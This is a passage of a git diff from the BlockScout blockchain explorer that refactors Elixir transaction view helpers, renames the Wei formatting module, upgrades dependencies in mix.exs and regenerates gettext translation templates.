block_timestamp(%Transaction{block_number: nil, inserted_at: time}), do: time - def block_timestamp(%Transaction{block: %Block{timestamp: time}}), do: time + def block_timestamp(%Transaction{} = transaction), do: Transaction.block_timestamp(transaction) def block_timestamp(%Reward{block: %Block{timestamp: time}}), do: time def value_transfer?(%Transaction{input: %{bytes: bytes}}) when bytes in [<<>>, nil] do @@ -61,6 +64,10 @@ defmodule BlockScoutWeb.TransactionView do if type, do: {type, transaction_with_transfers_filtered}, else: {nil, transaction_with_transfers_filtered} end + def transaction_actions(transaction) do + Repo.preload(transaction, :transaction_actions) + end + def aggregate_token_transfers(token_transfers) do %{ transfers: {ft_transfers, nft_transfers}, @@ -140,8 +147,8 @@ defmodule BlockScoutWeb.TransactionView do token: token_transfer.token, amount: nil, amounts: [], - token_id: token_transfer.token_id, - token_ids: [], + token_ids: token_transfer.token_ids, + token_type: token_transfer.token_type, to_address_hash: token_transfer.to_address_hash, from_address_hash: token_transfer.from_address_hash } @@ -155,8 +162,8 @@ defmodule BlockScoutWeb.TransactionView do token: token_transfer.token, amount: nil, amounts: amounts, - token_id: nil, token_ids: token_transfer.token_ids, + token_type: token_transfer.token_type, to_address_hash: token_transfer.to_address_hash, from_address_hash: token_transfer.from_address_hash } @@ -169,8 +176,8 @@ defmodule BlockScoutWeb.TransactionView do token: token_transfer.token, amount: token_transfer.amount, amounts: [], - token_id: token_transfer.token_id, - token_ids: [], + token_ids: token_transfer.token_ids, + token_type: token_transfer.token_type, to_address_hash: token_transfer.to_address_hash, from_address_hash: token_transfer.from_address_hash } @@ -187,18 +194,7 @@ defmodule BlockScoutWeb.TransactionView do if existing_entry do acc1 |> Enum.map(fn entry -> - if entry.to_address_hash == token_transfer.to_address_hash && - entry.from_address_hash == token_transfer.from_address_hash && - entry.token == token_transfer.token do - updated_entry = %{ - entry - | amount: Decimal.add(new_entry.amount, entry.amount) - } - - updated_entry - else - entry - end + process_entry(entry, new_entry, token_transfer) end) else [new_entry | acc1] @@ -207,11 +203,27 @@ defmodule BlockScoutWeb.TransactionView do {new_acc1, acc2} end + def process_entry(entry, new_entry, token_transfer) do + if entry.to_address_hash == token_transfer.to_address_hash && + entry.from_address_hash == token_transfer.from_address_hash && + entry.token == token_transfer.token do + updated_entry = %{ + entry + | amount: Decimal.add(new_entry.amount, entry.amount) + } + + updated_entry + else + entry + end + end + def token_type_name(type) do case type do :erc20 -> gettext("ERC-20 ") :erc721 -> gettext("ERC-721 ") :erc1155 -> gettext("ERC-1155 ") + :erc404 -> gettext("ERC-404 ") _ -> "" end end @@ -265,7 +277,7 @@ defmodule BlockScoutWeb.TransactionView do left |> Timex.diff(right, :milliseconds) |> Duration.from_milliseconds() - |> Timex.format_duration(Explorer.Counters.AverageBlockTimeDurationFormat) + |> Timex.format_duration(Explorer.Chain.Cache.Counters.Helper.AverageBlockTimeDurationFormat) |> case do {:error, _} = error -> error duration -> {:ok, duration} @@ -276,7 +288,7 @@ defmodule BlockScoutWeb.TransactionView do case block do %Block{consensus: true} -> {:ok, confirmations} = Chain.confirmations(block, named_arguments) - BlockScoutWeb.Cldr.Number.to_string!(confirmations, format: "#,###") + Number.to_string!(confirmations, format: "#,###") _ -> 0 @@ -302,7 +314,7 @@ defmodule BlockScoutWeb.TransactionView do def contract_creation?(_), do: false def fee(%Transaction{} = transaction) do - {_, value} = Chain.fee(transaction, :wei) + {_, value} = Transaction.fee(transaction, :wei) value end @@ -312,7 +324,7 @@ defmodule BlockScoutWeb.TransactionView do def formatted_fee(%Transaction{} = transaction, opts) do transaction - |> Chain.fee(:wei) + |> Transaction.fee(:wei) |> fee_to_denomination(opts) |> case do {:actual, value} -> value @@ -320,12 +332,26 @@ defmodule BlockScoutWeb.TransactionView do end end + def formatted_action_amount(data, field_name) do + data + |> Map.get(field_name) + |> Decimal.new() + |> Number.to_string!(format: "#,##0.##################") + end + + def transaction_action_string_to_address(address) do + case Chain.string_to_address_hash(address) do + {:ok, address_hash} -> Chain.hash_to_address(address_hash) + _ -> {:error, nil} + end + end + def transaction_status(transaction) do Chain.transaction_to_status(transaction) end - def transaction_revert_reason(transaction) do - transaction |> Chain.transaction_to_revert_reason() |> decoded_revert_reason(transaction) + def transaction_revert_reason(transaction, options \\ []) do + transaction |> Chain.transaction_to_revert_reason() |> decoded_revert_reason(transaction, options) end def get_pure_transaction_revert_reason(nil), do: nil @@ -361,7 +387,7 @@ defmodule BlockScoutWeb.TransactionView do end def gas(%type{gas: gas}) when is_transaction_type(type) do - BlockScoutWeb.Cldr.Number.to_string!(gas) + Number.to_string!(gas) end def skip_decoding?(transaction) do @@ -369,11 +395,11 @@ defmodule BlockScoutWeb.TransactionView do end def decoded_input_data(transaction) do - Transaction.decoded_input_data(transaction) + Transaction.decoded_input_data(transaction, []) end - def decoded_revert_reason(revert_reason, transaction) do - Transaction.decoded_revert_reason(transaction, revert_reason) + def decoded_revert_reason(revert_reason, transaction, options) do + Transaction.decoded_revert_reason(transaction, revert_reason, options) end @doc """ @@ -383,12 +409,26 @@ defmodule BlockScoutWeb.TransactionView do format_wei_value(gas_price, unit) end + def l1_gas_price(transaction, unit) when unit in ~w(wei gwei ether)a do + case Map.get(transaction, :l1_gas_price) do + nil -> nil + value -> format_wei_value(value, unit) + end + end + def gas_used(%Transaction{gas_used: nil}), do: gettext("Pending") def gas_used(%Transaction{gas_used: gas_used}) do Number.to_string!(gas_used) end + def l1_gas_used(transaction) do + case Map.get(transaction, :l1_gas_used) do + nil -> gettext("Pending") + value -> Number.to_string!(value) + end + end + def gas_used_perc(%Transaction{gas_used: nil}), do: nil def gas_used_perc(%Transaction{gas_used: gas_used, gas: gas}) do @@ -408,7 +448,7 @@ defmodule BlockScoutWeb.TransactionView do end def involves_contract?(%Transaction{from_address: from_address, to_address: to_address}) do - AddressView.contract?(from_address) || AddressView.contract?(to_address) + Address.smart_contract?(from_address) || Address.smart_contract?(to_address) end def involves_token_transfers?(%Transaction{token_transfers: []}), do: false @@ -504,7 +544,7 @@ defmodule BlockScoutWeb.TransactionView do """ def current_tab_name(request_path) do @tabs - |> Enum.filter(&TabHelpers.tab_active?(&1, request_path)) + |> Enum.filter(&TabHelper.tab_active?(&1, request_path)) |> tab_name() end @@ -512,6 +552,7 @@ defmodule BlockScoutWeb.TransactionView do defp tab_name(["internal-transactions"]), do: gettext("Internal Transactions") defp tab_name(["logs"]), do: gettext("Logs") defp tab_name(["raw-trace"]), do: gettext("Raw Trace") + defp tab_name(["state"]), do: gettext("State changes") defp get_transaction_type_from_token_transfers(token_transfers) do token_transfers_types = @@ -538,7 +579,7 @@ defmodule BlockScoutWeb.TransactionView do end defp show_tenderly_link? do - System.get_env("SHOW_TENDERLY_LINK") == "true" + Application.get_env(:block_scout_web, :show_tenderly_link) end defp tenderly_chain_path do @@ -546,7 +587,7 @@ defmodule BlockScoutWeb.TransactionView do end def get_max_length do - string_value = Application.get_env(:block_scout_web, :max_length_to_show_string_without_trimming) + string_value = Application.get_env(:block_scout_web, :contract)[:max_length_to_show_string_without_trimming] case Integer.parse(string_value) do {integer, ""} -> integer @@ -555,40 +596,30 @@ defmodule BlockScoutWeb.TransactionView do end def trim(length, string) do - %{show: String.slice(string, 0..length), hide: String.slice(string, (length + 1)..String.length(string))} - end - - defp template_to_string(template) when is_list(template) do - template_to_string(Enum.at(template, 1)) - end - - defp template_to_string(template) when is_tuple(template) do - safe_to_string(template) + %{show: String.slice(string, 0..length), hide: String.slice(string, (length + 1)..-1//1)} end # Function decodes revert reason of the transaction - @spec decoded_revert_reason(Transaction.t() | nil) :: binary() | nil - def decoded_revert_reason(transaction) do - revert_reason = get_pure_transaction_revert_reason(transaction) - + @spec decode_revert_reason_as_utf8(binary() | nil) :: binary() | nil + def decode_revert_reason_as_utf8(revert_reason) do case revert_reason do + nil -> + nil + "0x" <> hex_part -> - proccess_hex_revert_reason(hex_part) + decode_hex_revert_reason_as_utf8(hex_part) hex_part -> - proccess_hex_revert_reason(hex_part) + decode_hex_revert_reason_as_utf8(hex_part) end end - # Function converts hex revert reason to the binary - @spec proccess_hex_revert_reason(nil) :: nil - defp proccess_hex_revert_reason(nil), do: nil - - @spec proccess_hex_revert_reason(binary()) :: binary() - defp proccess_hex_revert_reason(hex_revert_reason) do - case Integer.parse(hex_revert_reason, 16) do - {number, ""} -> - :binary.encode_unsigned(number) + # Function converts hex revert reason to the utf8 binary + @spec decode_hex_revert_reason_as_utf8(binary()) :: binary() + def decode_hex_revert_reason_as_utf8(hex_revert_reason) do + case Base.decode16(hex_revert_reason, case: :mixed) do + {:ok, revert_reason} -> + revert_reason _ -> hex_revert_reason diff --git a/apps/block_scout_web/lib/block_scout_web/views/verified_contracts_view.ex b/apps/block_scout_web/lib/block_scout_web/views/verified_contracts_view.ex new file mode 100644 index 000000000000..50934a2afe05 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/verified_contracts_view.ex @@ -0,0 +1,16 @@ +defmodule BlockScoutWeb.VerifiedContractsView do + use BlockScoutWeb, :view + + import BlockScoutWeb.AddressView, only: [balance: 1] + import BlockScoutWeb.Tokens.OverviewView, only: [total_supply_usd: 1] + alias BlockScoutWeb.Routers.WebRouter.Helpers + + def format_current_filter(filter) do + case filter do + "solidity" -> gettext("Solidity") + "vyper" -> gettext("Vyper") + "yul" -> gettext("Yul") + _ -> gettext("All") + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/visualize_sol2uml_view.ex b/apps/block_scout_web/lib/block_scout_web/views/visualize_sol2uml_view.ex new file mode 100644 index 000000000000..827deeeecdec --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/visualize_sol2uml_view.ex @@ -0,0 +1,3 @@ +defmodule BlockScoutWeb.VisualizeSol2umlView do + use BlockScoutWeb, :view +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/wei_helper.ex b/apps/block_scout_web/lib/block_scout_web/views/wei_helper.ex new file mode 100644 index 000000000000..188303e0c9eb --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/wei_helper.ex @@ -0,0 +1,83 @@ +defmodule BlockScoutWeb.WeiHelper do + @moduledoc """ + Helper functions for interacting with `t:Explorer.Chain.Wei.t/0` values. + """ + + use Gettext, backend: BlockScoutWeb.Gettext + + alias BlockScoutWeb.CldrHelper + alias Explorer.Chain.Wei + + @valid_units ~w(wei gwei ether)a + + @type format_option :: {:include_unit_label, boolean()} + + @type format_options :: [format_option()] + + @doc """ + Converts a `t:Explorer.Wei.t/0` value to the specified unit including a + translated unit label. + + ## Supported Formatting Options + + The third argument allows for keyword options to be passed for formatting the + converted number. + + * `:include_unit_label` - Boolean (Defaults to `true`). Flag for if the unit + label should be included in the returned string + + ## Examples + + iex> format_wei_value(%Wei{value: Decimal.new(1)}, :wei) + "1 Wei" + + iex> format_wei_value(%Wei{value: Decimal.new(1, 10, 12)}, :gwei) + "10,000 Gwei" + + iex> format_wei_value(%Wei{value: Decimal.new(1, 10, 21)}, :ether) + "10,000 ETH" + + # With formatting options + + iex> format_wei_value( + ...> %Wei{value: Decimal.new(1000500000000000000)}, + ...> :ether + ...> ) + "1.0005 ETH" + + iex> format_wei_value( + ...> %Wei{value: Decimal.new(10)}, + ...> :wei, + ...> include_unit_label: false + ...> ) + "10" + """ + @spec format_wei_value(Wei.t() | nil, Wei.unit(), format_options()) :: String.t() | nil + def format_wei_value(_wei, _unit, _options \\ []) + + def format_wei_value(nil, _unit, _options), do: nil + + def format_wei_value(%Wei{} = wei, unit, options) when unit in @valid_units do + converted_value = + wei + |> Wei.to(unit) + + formatted_value = + if Decimal.compare(converted_value, 1_000_000_000_000) == :gt do + CldrHelper.Number.to_string!(converted_value, format: "0.###E+0") + else + CldrHelper.Number.to_string!(converted_value, format: "#,##0.##################") + end + + if Keyword.get(options, :include_unit_label, true) do + display_unit = display_unit(unit) + "#{formatted_value} #{display_unit}" + else + formatted_value + end + end + + defp display_unit(:wei), do: gettext("Wei") + defp display_unit(:gwei), do: gettext("Gwei") + defp display_unit(:ether), do: Explorer.coin_name() +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/wei_helpers.ex b/apps/block_scout_web/lib/block_scout_web/views/wei_helpers.ex deleted file mode 100644 index 1a9ed2c50f6d..000000000000 --- a/apps/block_scout_web/lib/block_scout_web/views/wei_helpers.ex +++ /dev/null @@ -1,79 +0,0 @@ -defmodule BlockScoutWeb.WeiHelpers do - @moduledoc """ - Helper functions for interacting with `t:Explorer.Chain.Wei.t/0` values. - """ - - import BlockScoutWeb.Gettext - - alias BlockScoutWeb.CldrHelper - alias Explorer.Chain.Wei - - @valid_units ~w(wei gwei ether)a - - @type format_option :: {:include_unit_label, boolean()} - - @type format_options :: [format_option()] - - @doc """ - Converts a `t:Explorer.Wei.t/0` value to the specified unit including a - translated unit label. - - ## Supported Formatting Options - - The third argument allows for keyword options to be passed for formatting the - converted number. - - * `:include_unit_label` - Boolean (Defaults to `true`). Flag for if the unit - label should be included in the returned string - - ## Examples - - iex> format_wei_value(%Wei{value: Decimal.new(1)}, :wei) - "1 Wei" - - iex> format_wei_value(%Wei{value: Decimal.new(1, 10, 12)}, :gwei) - "10,000 Gwei" - - iex> format_wei_value(%Wei{value: Decimal.new(1, 10, 21)}, :ether) - "10,000 Ether" - - # With formatting options - - iex> format_wei_value( - ...> %Wei{value: Decimal.new(1000500000000000000)}, - ...> :ether - ...> ) - "1.0005 Ether" - - iex> format_wei_value( - ...> %Wei{value: Decimal.new(10)}, - ...> :wei, - ...> include_unit_label: false - ...> ) - "10" - """ - @spec format_wei_value(Wei.t(), Wei.unit(), format_options()) :: String.t() - def format_wei_value(%Wei{} = wei, unit, options \\ []) when unit in @valid_units do - converted_value = - wei - |> Wei.to(unit) - - formatted_value = - if Decimal.compare(converted_value, 1_000_000_000_000) == :gt do - CldrHelper.Number.to_string!(converted_value, format: "0.###E+0") - else - CldrHelper.Number.to_string!(converted_value, format: "#,##0.##################") - end - - if Keyword.get(options, :include_unit_label, true) do - display_unit = display_unit(unit) - "#{formatted_value} #{display_unit}" - else - formatted_value - end - end - - defp display_unit(:wei), do: gettext("Wei") - defp display_unit(:gwei), do: gettext("Gwei") - defp display_unit(:ether), do: gettext("Ether") -end diff --git a/apps/block_scout_web/lib/block_scout_web/views/withdrawal_view.ex b/apps/block_scout_web/lib/block_scout_web/views/withdrawal_view.ex new file mode 100644 index 000000000000..296304d622ab --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/withdrawal_view.ex @@ -0,0 +1,5 @@ +defmodule BlockScoutWeb.WithdrawalView do + use BlockScoutWeb, :view + + alias Explorer.Chain.Address +end diff --git a/apps/block_scout_web/lib/phoenix/param.ex b/apps/block_scout_web/lib/phoenix/param.ex index e22fcac71863..f9c138e4f9e1 100644 --- a/apps/block_scout_web/lib/phoenix/param.ex +++ b/apps/block_scout_web/lib/phoenix/param.ex @@ -27,3 +27,9 @@ defimpl Phoenix.Param, for: Hash do to_string(hash) end end + +defimpl Phoenix.Param, for: Decimal do + def to_param(decimal) do + to_string(decimal) + end +end diff --git a/apps/block_scout_web/mix.exs b/apps/block_scout_web/mix.exs index 6de44d043e0a..9e6004d4394e 100644 --- a/apps/block_scout_web/mix.exs +++ b/apps/block_scout_web/mix.exs @@ -11,11 +11,11 @@ defmodule BlockScoutWeb.Mixfile do deps_path: "../../deps", description: "Web interface for BlockScout.", dialyzer: [ - plt_add_deps: :transitive, - ignore_warnings: "../../.dialyzer-ignore" + plt_add_deps: :app_tree, + ignore_warnings: "../../.dialyzer_ignore.exs" ], - elixir: "~> 1.13", - elixirc_paths: elixirc_paths(Mix.env()), + elixir: "~> 1.17", + elixirc_paths: elixirc_paths(Mix.env(), Application.get_env(:block_scout_web, :disable_api?)), lockfile: "../../mix.lock", package: package(), preferred_cli_env: [ @@ -23,7 +23,18 @@ defmodule BlockScoutWeb.Mixfile do dialyzer: :test ], start_permanent: Mix.env() == :prod, - version: "4.1.8" + version: "9.1.1", + xref: [ + exclude: [ + Explorer.Chain.PolygonZkevm.Reader, + Explorer.Chain.Beacon.Reader, + Explorer.Chain.Cache.OptimismFinalizationPeriod, + Explorer.Chain.Optimism.OutputRoot, + Explorer.Chain.Optimism.WithdrawalEvent, + Explorer.Chain.ZkSync.Reader, + Explorer.Chain.Arbitrum.Reader + ] + ] ] end @@ -38,12 +49,26 @@ defmodule BlockScoutWeb.Mixfile do end # Specifies which paths to compile per environment. - defp elixirc_paths(:test), do: ["test/support", "test/block_scout_web/features/pages"] ++ elixirc_paths() - defp elixirc_paths(_), do: elixirc_paths() + defp elixirc_paths(:test, _), + do: ["test/support", "test/block_scout_web/features/pages", "benchmarks/support"] ++ elixirc_paths() + + defp elixirc_paths(_, true), + do: [ + "lib/phoenix", + "lib/block_scout_web.ex", + "lib/block_scout_web/application.ex", + "lib/block_scout_web/endpoint.ex", + "lib/block_scout_web/health_router.ex", + "lib/block_scout_web/controllers/api/health_controller.ex", + "lib/block_scout_web/prometheus/exporter.ex" + ] + + defp elixirc_paths(_, _), do: elixirc_paths() defp elixirc_paths, do: ["lib"] defp extra_applications, do: [ + :ueberauth_auth0, :logger, :runtime_tools ] @@ -58,22 +83,23 @@ defmodule BlockScoutWeb.Mixfile do # Integrates Absinthe subscriptions with Phoenix {:absinthe_phoenix, "~> 2.0.0"}, # Plug support for Absinthe - {:absinthe_plug, git: "https://github.com/blockscout/absinthe_plug.git", tag: "1.5.3", override: true}, + {:absinthe_plug, git: "https://github.com/blockscout/absinthe_plug.git", tag: "1.5.8", override: true}, # Absinthe support for the Relay framework {:absinthe_relay, "~> 1.5"}, + {:benchee, "~> 1.4.0", only: :test}, {:bypass, "~> 2.1", only: :test}, # To add (CORS)(https://www.w3.org/TR/cors/) {:cors_plug, "~> 3.0"}, - {:credo, "~> 1.5", only: :test, runtime: false}, # For Absinthe to load data in batches - {:dataloader, "~> 1.0.0"}, + {:dataloader, "~> 2.0.0"}, {:dialyxir, "~> 1.1", only: [:dev, :test], runtime: false}, # Need until https://github.com/absinthe-graphql/absinthe_relay/pull/125 is released, then can be removed # The current `absinthe_relay` is compatible though as shown from that PR {:ecto, "~> 3.3", override: true}, - {:ex_cldr, "~> 2.7"}, - {:ex_cldr_numbers, "~> 2.6"}, - {:ex_cldr_units, "~> 3.13"}, + {:ex_cldr, "~> 2.38"}, + {:ex_cldr_numbers, "~> 2.33"}, + {:ex_cldr_units, "~> 3.17"}, + {:ex_keccak, "~> 0.7.5"}, {:cldr_utils, "~> 2.3"}, {:ex_machina, "~> 2.1", only: [:test]}, {:explorer, in_umbrella: true}, @@ -82,9 +108,10 @@ defmodule BlockScoutWeb.Mixfile do # HTML CSS selectors for Phoenix controller tests {:floki, "~> 0.31"}, {:flow, "~> 1.2"}, - {:gettext, "~> 0.20.0"}, - {:hammer, "~> 6.0"}, - {:httpoison, "~> 1.6"}, + {:gettext, "~> 0.26.1"}, + {:hammer, "~> 7.0"}, + {:hammer_backend_redis, "~> 7.0"}, + {:httpoison, "~> 2.0"}, {:indexer, in_umbrella: true, runtime: false}, # JSON parser and generator {:jason, "~> 1.3"}, @@ -94,25 +121,29 @@ defmodule BlockScoutWeb.Mixfile do {:math, "~> 0.7.0"}, {:mock, "~> 0.3.0", only: [:test], runtime: false}, {:number, "~> 1.0.1"}, - {:phoenix, "== 1.5.13"}, + {:phoenix, "== 1.5.14"}, {:phoenix_ecto, "~> 4.1"}, - {:phoenix_html, "== 3.0.4"}, + {:phoenix_html, "== 3.3.4"}, {:phoenix_live_reload, "~> 1.2", only: [:dev]}, + {:phoenix_live_view, "~> 0.17"}, {:phoenix_pubsub, "~> 2.0"}, + {:prometheus_ex, "~> 5.0.0", override: true}, # use `:cowboy` for WebServer with `:plug` {:plug_cowboy, "~> 2.2"}, # Waiting for the Pretty Print to be implemented at the Jason lib # https://github.com/michalmuskala/jason/issues/15 - {:poison, "~> 5.0.0"}, + {:poison, "~> 4.0.1"}, {:postgrex, ">= 0.0.0"}, - # For compatibility with `prometheus_process_collector`, which hasn't been updated yet - {:prometheus, "~> 4.0", override: true}, + {:prometheus, "~> 6.0", override: true}, # Gather methods for Phoenix requests {:prometheus_phoenix, "~> 1.2"}, # Expose metrics from URL Prometheus server can scrape {:prometheus_plugs, "~> 1.1"}, - # OS process metrics for Prometheus - {:prometheus_process_collector, "~> 1.3"}, + # OS process metrics for Prometheus, custom ref to include https://github.com/deadtrickster/prometheus_process_collector/pull/30 + {:prometheus_process_collector, + git: "https://github.com/Phybbit/prometheus_process_collector.git", + ref: "3dc94dcff422d7b9cbd7ddf6bf2a896446705f3f", + override: true}, {:remote_ip, "~> 1.0"}, {:qrcode, "~> 0.1.0"}, {:sobelow, ">= 0.7.0", only: [:dev, :test], runtime: false}, @@ -125,9 +156,14 @@ defmodule BlockScoutWeb.Mixfile do {:timex, "~> 3.7.1"}, {:wallaby, "~> 0.30", only: :test, runtime: false}, # `:cowboy` `~> 2.0` and Phoenix 1.4 compatibility - {:websocket_client, "~> 1.3"}, - {:wobserver, "~> 0.2.0", github: "poanetwork/wobserver", branch: "support-https"}, - {:ex_json_schema, "~> 0.9.1"} + {:ex_json_schema, "~> 0.11.0"}, + {:ueberauth, "~> 0.7"}, + {:ueberauth_auth0, "~> 2.0"}, + {:utils, in_umbrella: true}, + {:bureaucrat, "~> 0.2.9", only: :test}, + {:logger_json, "~> 5.1"}, + {:open_api_spex, "~> 3.21"}, + {:ymlr, "~> 5.1"} ] end diff --git a/apps/block_scout_web/priv/gettext/default.pot b/apps/block_scout_web/priv/gettext/default.pot index c49c49c37a51..a1e52c49bd8c 100644 --- a/apps/block_scout_web/priv/gettext/default.pot +++ b/apps/block_scout_web/priv/gettext/default.pot @@ -1,2878 +1,4716 @@ -#: lib/block_scout_web/views/address_token_balance_view.ex:10 -#, elixir-autogen, elixir-format -msgid "%{count} token" -msgid_plural "%{count} tokens" -msgstr[0] "" -msgstr[1] "" - -#: lib/block_scout_web/templates/block/_tile.html.eex:29 -#, elixir-autogen, elixir-format -msgid "%{count} transaction" -msgid_plural "%{count} transactions" -msgstr[0] "" -msgstr[1] "" +## This file is a PO Template file. +## +## "msgid"s here are often extracted from source code. +## Add new messages manually only if they're dynamic +## messages that can't be statically extracted. +## +## Run "mix gettext.extract" to bring this file up to +## date. Leave "msgstr"s empty as changing them here has no +## effect: edit them in PO (.po) files instead. +# +msgid "" +msgstr "" +#: lib/block_scout_web/templates/common_components/_minimal_proxy_pattern.html.eex:9 #: lib/block_scout_web/templates/common_components/_minimal_proxy_pattern.html.eex:9 #, elixir-autogen, elixir-format msgid " - minimal bytecode implementation that delegates all calls to a known address" msgstr "" +#: lib/block_scout_web/templates/api_docs/eth_rpc.html.eex:14 #: lib/block_scout_web/templates/api_docs/eth_rpc.html.eex:14 #, elixir-autogen, elixir-format msgid " is recommended." msgstr "" +#: lib/block_scout_web/templates/address/_metatags.html.eex:3 #: lib/block_scout_web/templates/address/_metatags.html.eex:3 #, elixir-autogen, elixir-format msgid "%{address} - %{subnetwork} Explorer" msgstr "" +#: lib/block_scout_web/templates/block/overview.html.eex:12 #: lib/block_scout_web/templates/block/overview.html.eex:12 #, elixir-autogen, elixir-format msgid "%{block_type} Details" msgstr "" +#: lib/block_scout_web/templates/block/overview.html.eex:55 #: lib/block_scout_web/templates/block/overview.html.eex:55 #, elixir-autogen, elixir-format msgid "%{block_type} Height" msgstr "" +#: lib/block_scout_web/templates/block/index.html.eex:7 #: lib/block_scout_web/templates/block/index.html.eex:7 #, elixir-autogen, elixir-format msgid "%{block_type}s" msgstr "" +#: lib/block_scout_web/templates/block/overview.html.eex:85 #: lib/block_scout_web/templates/block/overview.html.eex:85 #, elixir-autogen, elixir-format msgid "%{count} Transaction" msgstr "" +#: lib/block_scout_web/templates/block/overview.html.eex:87 #: lib/block_scout_web/templates/block/overview.html.eex:87 #: lib/block_scout_web/templates/chain/_block.html.eex:11 +#: lib/block_scout_web/templates/chain/_block.html.eex:11 #, elixir-autogen, elixir-format msgid "%{count} Transactions" msgstr "" +#: lib/block_scout_web/views/address_token_balance_view.ex:10 +#: lib/block_scout_web/views/address_token_balance_view.ex:10 +#, elixir-autogen, elixir-format +msgid "%{count} token" +msgid_plural "%{count} tokens" +msgstr[0] "" +msgstr[1] "" + +#: lib/block_scout_web/templates/block/_tile.html.eex:29 +#: lib/block_scout_web/templates/block/_tile.html.eex:29 +#, elixir-autogen, elixir-format +msgid "%{count} transaction" +msgid_plural "%{count} transactions" +msgstr[0] "" +msgstr[1] "" + +#: lib/block_scout_web/templates/transaction/_actions.html.eex:101 +#: lib/block_scout_web/templates/transaction/_actions.html.eex:101 +#, elixir-autogen, elixir-format +msgid "%{qty} of Token ID [%{link_to_id}]" +msgstr "" + +#: lib/block_scout_web/templates/chain/_metatags.html.eex:2 #: lib/block_scout_web/templates/chain/_metatags.html.eex:2 #, elixir-autogen, elixir-format msgid "%{subnetwork} %{network} Explorer" msgstr "" +#: lib/block_scout_web/templates/layout/_default_title.html.eex:2 #: lib/block_scout_web/templates/layout/_default_title.html.eex:2 #, elixir-autogen, elixir-format msgid "%{subnetwork} Explorer - BlockScout" msgstr "" -#: lib/block_scout_web/views/transaction_view.ex:349 +#: lib/block_scout_web/templates/withdrawal/index.html.eex:11 +#: lib/block_scout_web/templates/withdrawal/index.html.eex:11 +#, elixir-autogen, elixir-format +msgid "%{withdrawals_count} withdrawals processed and %{withdrawals_sum} withdrawn." +msgstr "" + +#: lib/block_scout_web/views/transaction_view.ex:375 +#: lib/block_scout_web/views/transaction_view.ex:375 #, elixir-autogen, elixir-format msgid "(Awaiting internal transactions for status)" msgstr "" +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:59 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:59 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:70 +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:70 +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:82 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:82 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:104 +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:104 #, elixir-autogen, elixir-format msgid "(query)" msgstr "" -#: lib/block_scout_web/templates/layout/app.html.eex:223 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_library_first.html.eex:4 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_library_first.html.eex:4 +#, elixir-autogen, elixir-format +msgid ") may be added for each contract. Click the Add Library button to add an additional one." +msgstr "" + +#: lib/block_scout_web/templates/layout/app.html.eex:93 +#: lib/block_scout_web/templates/layout/app.html.eex:93 #, elixir-autogen, elixir-format msgid "- We're indexing this chain right now. Some of the counts may be inaccurate." msgstr "" -#: lib/block_scout_web/templates/block/overview.html.eex:195 +#: lib/block_scout_web/templates/transaction/not_found.html.eex:8 +#: lib/block_scout_web/templates/transaction/not_found.html.eex:8 +#, elixir-autogen, elixir-format +msgid "1. If you have just submitted this transaction please wait for at least 30 seconds before refreshing this page." +msgstr "" + +#: lib/block_scout_web/templates/transaction/not_found.html.eex:9 +#: lib/block_scout_web/templates/transaction/not_found.html.eex:9 +#, elixir-autogen, elixir-format +msgid "2. It could still be in the TX Pool of a different node, waiting to be broadcasted." +msgstr "" + +#: lib/block_scout_web/templates/transaction/not_found.html.eex:10 +#: lib/block_scout_web/templates/transaction/not_found.html.eex:10 +#, elixir-autogen, elixir-format +msgid "3. During times when the network is busy (i.e during ICOs) it can take a while for your transaction to propagate through the network and for us to index it." +msgstr "" + +#: lib/block_scout_web/templates/transaction/not_found.html.eex:11 +#: lib/block_scout_web/templates/transaction/not_found.html.eex:11 +#, elixir-autogen, elixir-format +msgid "4. If it still does not show up after 1 hour, please check with your sender/exchange/wallet/transaction provider for additional information." +msgstr "" + +#: lib/block_scout_web/templates/block/overview.html.eex:197 +#: lib/block_scout_web/templates/block/overview.html.eex:197 #, elixir-autogen, elixir-format msgid "64-bit hash of value verifying proof-of-work (note: null for POA chains)." msgstr "" #: lib/block_scout_web/templates/block/overview.html.eex:97 +#: lib/block_scout_web/templates/block/overview.html.eex:97 +#: lib/block_scout_web/templates/transaction_state/_state_change.html.eex:21 +#: lib/block_scout_web/templates/transaction_state/_state_change.html.eex:21 #, elixir-autogen, elixir-format msgid "A block producer who successfully included the block onto the blockchain." msgstr "" +#: lib/block_scout_web/templates/layout/app.html.eex:100 +#: lib/block_scout_web/templates/layout/app.html.eex:100 +#, elixir-autogen, elixir-format +msgid "A confirmation email was sent to" +msgstr "" + +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_library_first.html.eex:4 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_library_first.html.eex:4 +#, elixir-autogen, elixir-format +msgid "A library name called in the .sol file. Multiple libraries (up to " +msgstr "" + +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:73 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:73 #, elixir-autogen, elixir-format msgid "A string with the name of the action to be invoked." msgstr "" +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:62 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:62 #, elixir-autogen, elixir-format msgid "A string with the name of the module to be invoked." msgstr "" +#: lib/block_scout_web/templates/account/custom_abi/form.html.eex:24 +#: lib/block_scout_web/templates/account/custom_abi/form.html.eex:24 +#, elixir-autogen, elixir-format +msgid "ABI" +msgstr "" + +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_constructor_args.html.eex:3 #: lib/block_scout_web/templates/address_contract_verification_common_fields/_constructor_args.html.eex:3 #, elixir-autogen, elixir-format msgid "ABI-encoded Constructor Arguments (if required by the contract)" msgstr "" +#: 